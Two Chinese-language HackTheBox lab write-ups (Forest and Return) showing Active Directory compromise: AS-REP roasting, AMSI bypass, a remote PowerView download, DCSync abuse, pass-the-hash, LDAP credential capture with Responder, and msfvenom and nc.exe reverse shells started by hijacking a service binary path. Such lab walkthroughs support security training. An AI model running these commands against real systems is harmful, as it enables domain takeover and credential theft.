hackthebox-forest-202

hackthebox forest

forest

port scan

使用rustscan扫描后,开放端口有389,139,445等。

services

使用windapsearch对ldap服务进行枚举

1
2
3
4
5
6
7
8
9
10
11
# 检索所有信息
windapsearch --dc '10.10.10.161' -u '' -p '' --full -m custom --filter "(&(objectclass=*))" | tee custom.allobj.txt

# 检索用户信息
mod="users"; windapsearch --dc '10.10.10.161' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"

# 检索组信息
mod="groups";windapsearch --dc '10.10.10.161' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"

# 检索电脑信息
mod="computers";windapsearch --dc '10.10.10.161' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"

windapsearch custom filter windapsearch users windapsearch groups windapsearch computers

过滤检索信息输出中的用户名

1
cat users.txt | rg -iaoP "(?<=samaccountname:\s).+$" | sort | uniq | sort | rg -ivP "((healthmailbox)|(defaultaccount)|(331000)|(sm_.+))" | tee ../0817-forest.htb.local.users.txt

rg grep windapsearch username result

使用impacket-GetADUsers脚本进行ldap检索

1
impacket-GetADUsers -all -no-pass -dc-ip '10.10.10.161' 'htb.local/' | tee ../0817-getADUsers.impacket.txt

过滤检索出的ADUsers结果

1
cat ../0817-getADUsers.impacket.txt | tail -n+6 | awk '{print $1}' | rg -ivP "((guest)|(331000)|(krbtgt)|(sm_.+$)|(healthmailbox)|(defaultaccount))" | tee ../0817-getADUsers.impacket.username.txt

impacket-GetADUsers rg filter GetADUsers result

使用impacket-GetNPUsers尝试根据用户名,获取用户AS-REP hash

1
2
3
cat 0817-getADUsers.impacket.username.txt 0817-forest.htb.local.users.txt | sort | uniq | sort | tee 0817.forest.htb.username.ls

impacket-GetNPUsers -dc-ip '10.10.10.161' -no-pass -usersfile './0817.forest.htb.username.lst' -outputfile '0817-htb.local.GetNpUsers.txt' 'htb.local/'

impacket-GetNPUsers

使用john爆破svc-alfresco用户的AS-REP

1
john-Rockyou ./0817-htb.local.GetNpUsers.txt

john crack AS-REP

获得用户登录凭据svc-alfresco / s3rvice

foothold

使用evil-winrm工具,凭借已知svc-alfresco / s3rvice凭据尝试登录,登录成功。

1
2
3
evil-winrm -i '10.10.10.161' -u 'svc-alfresco' -p 's3rvice'

*Evil-WinRM* PS> whoami ; hostname ; type user.txt ; ipconfig /all

evil-winrm

get user flag

priv esca

svc-alfresco用户交互shell中,进行信息枚举,发现svc-alfresco用户在Account Operators用户组中。此用户组存在DCSync攻击可能。

1
2
3
4
5
# 将evil-winrm bypass
Bypass-4MSI

# 导入PowerView模块
iex(New-Object Net.WebClient).downloadString('http://10.10.14.22/0-bin/PowerView.ps1')

import PowerView

Account Operators Exchange DCSync攻击步骤

1
2
3
4
# 添加一个domain用户 gvest
net user gvest p@ssw3rd135246 /add /domain
net group "Exchange Windows Permissions" gvest /add
net localgroup "Remote Management Users" gvest /add

create a domain user

1
2
3
4
# 给添加的gvest添加DCSync权限
$pass = ConvertTo-SecureString 'p@ssw3rd135246' -AsPlain -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\gvest', $pass)
Add-ObjectACL -PrincipalIdentity gvest -Credential $cred -Rights DCSync

add domain user DCSync priv

使用impacket-secretdump以添加的gvest用户dump hash值

1
impacket-secretsdump -outputfile '0817-forest.htb.local' -dc-ip '10.10.10.161' -target-ip '10.10.10.161' 'htb.local/gvest:p@ssw3rd135246@10.10.10.161'

impacket-secretsdump

使用Administrator的hash尝试登录evil-winrm

1
evil-winrm -i '10.10.10.161' -u 'administrator' -H '32693XXXXXXXXeea6'

evil-winrm administrator pass the hash

post

已经使用impacket-secretsdump dump了所有hash, 可以尝试添加后门域管用户。


hackthebox-return-401

hackthebox return

return

port scan

使用rustscan 扫描目标地址后发现多个端口开放,其中80是http服务。使用gobuster目录爆破,发现 http://10.10.11.108/settings.php链接.

services

settings.php页面上发现有保存的ldap用户名. 保存的ldap用户名 点击update按钮触发post请求,请求体中有ip字段,值为目标域名printer.return.local

foothold

将请求体中的ip换成自己机器的ip,并且使用responder监听ldap服务.

使用responder 监听ldap服务端口

使用burp 修改settings.php 请求. burp 修改settings.php 请求

发送请求后,responder处得到目标机器发起的ldap认证信息(用户名/密码);

respnoder 得到ldap服务认证信息

使用evil-winrm使用ldap用户信息尝试登录:登录成功。

evil-winrm 尝试登录

priv esca

枚举信息,发现svc-printer用户在用户组(Server Operators group)中,
用户在Server Operators组 根据文档 显示此用户组成员具有以交互方式登录服务器、创建和删除网络共享资源、启动和停止服务、备份和还原文件、格式化计算机的硬盘驱动器以及关闭服务器
因为它具有启动/停止服务的权限,尝试使用sc.exe create ...创建服务失败后,使用修改常见服务的方式执行恶意文件。

  1. 准备恶意文件

nc.exe即可,这里使用msf payload

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.22 LPORT=9002 EXITFUNC=thread -e x86/shikata_ga_nai -i 10 -f exe -o rev.exe

msfvenom生成payload

  1. msf 监听payload

使用multi/handler监听对应payload; 服务启动后大约持续5s,即会停止进程;防止连接关闭,设置msf自动migrate进程。

1
2
3
4
5
6
7
use multi/handler
set payload windows/meterpreter/reverse_tcp
set EXITFUNC thread
set lhost 10.10.14.22
set lport 9002
set ExitOnSession false
set AutoRunScript post/windows/manage/migrate

msf multi/handler

  1. 执行msf payload

通过evil-winrm的 upload方法上传恶意文件,然后修改vss(卷影复制服务,Volume Shadow Copy Service)。

1
2
3
4
5
# 设置vss服务 可执行文件路径为 msf payload path
sc.exe config vss binpath= "C:\windows\tasks\rev.exe"

# 重启vss服务
sc.exe stop vss ; sc.exe start vss

evil-winrm upload恶意文件

post

使用msf的post/windows/gather/smart_hashdump模块,执行后利用,dump 用户密码hash. msf smart_hashdump

other func

不使用msf payload,使用普通nc.exe.

1
2
3
4
# 修改vss可执行文件路径位置 并 提供执行参数
sc.exe config vss binpath= "C:\windows\tasks\nc.exe -e cmd.exe 10.10.14.22 9002"

sc.exe stop vss; sc.exe start vss

使用nc.exe获得反弹shell

得到nc反弹shell后,立刻在此shell中再使用nc.exe创建另一个稳定反弹shell.

1
C:\windows\tasks\nc.exe -e cmd.exe 10.10.14.22 9003